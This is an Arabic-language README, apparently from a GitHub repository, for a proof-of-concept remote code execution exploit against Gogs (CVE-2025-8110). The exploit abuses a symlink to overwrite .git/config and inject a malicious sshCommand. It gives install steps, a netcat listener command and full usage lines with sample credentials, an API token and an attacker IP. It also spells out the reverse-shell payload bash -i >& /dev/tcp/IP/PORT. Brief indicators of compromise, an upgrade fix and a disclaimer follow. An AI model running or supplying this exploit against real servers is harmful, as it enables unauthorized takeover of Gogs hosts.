
إثبات المفهوم (PoC) للتنفيذ عن بُعد (RCE) في Gogs - CVE-2025-8110
إثبات المفهوم لـ CVE-2025-8110 - تنفيذ تعليمات برمجية عن بُعد في Gogs عبر تجاوز الروابط الرمزية (symlink) وحقن sshCommand.
تستغل هذه الأداة تجاوز الروابط الرمزية في واجهة Gogs API لاستبدال .git/config وحقن sshCommand خبيث ينفّذ قشرة عكسية.
git clone https://github.com/X4BROZER/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
الوسيط الوصف -u, --url عنوان Gogs المستهدف (مثال: http://target:3000) -U, --username اسم مستخدم Gogs -P, --password كلمة مرور Gogs -t, --token رمز Gogs API -lh, --host عنوان IP الخاص بك للقشرة العكسية -lp, --port منفذ المستمع الخاص بك -x, --proxy تمكين الوكيل (localhost:8080)
سجّل الدخول إلى Gogs ← الإعدادات ← التطبيقات ← إنشاء رمز
nc -lvnp 4444
python3 exploit.py -u http://target:3000 -U <USERNAME GOGS> -P <PASSWORD GOGS> -t <TOKEN> -lh <ATTACKER IP> -lp <ATTACKER PORT>
python3 exploit.py -u http://localhost:3001 -U amine -P amine -t 44f4e64a1e6353f247050055aa0d3cc13b577ac3 -lh 10.10.17.134 -lp 4444
إنشاء مستودع برابط رمزي إلى .git/config
استخدام واجهة PutContents API للكتابة إلى الرابط الرمزي
حقن sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #
ينفّذ Gogs الأمر ← قشرة عكسية
استكشاف الأخطاء وإصلاحها المشكلة الحل فشل تسجيل الدخول تحقق من اسم المستخدم/كلمة المرور فشل إنشاء المستودع أعد إنشاء رمز API انتهت مهلة القراءة أمر طبيعي - تحقق من المستمع لا توجد قشرة تحقق من جدار الحماية، جرّب منفذًا مختلفًا مؤشرات الاختراق أسماء مستودعات عشوائية من 8 أحرف
رابط رمزي malicious_link في المستودعات
sshCommand في .git/config
المعالجة قم بالتحديث إلى Gogs v0.13.4 أو أحدث:
wget https://dl.gogs.io/v0.13.4/gogs_v0.13.4_linux_amd64.tar.gz
tar -xzf gogs_v0.13.4_linux_amd64.tar.gz
إخلاء مسؤولية قانوني هذه الأداة مخصصة للأغراض التعليمية والاختبارات المصرح بها فقط. الوصول غير المصرح به غير قانوني.
الاعتمادات الاكتشاف: Wiz Research
إثبات المفهوم الأصلي: zAbuQasem
الاستغلال: X4BROZER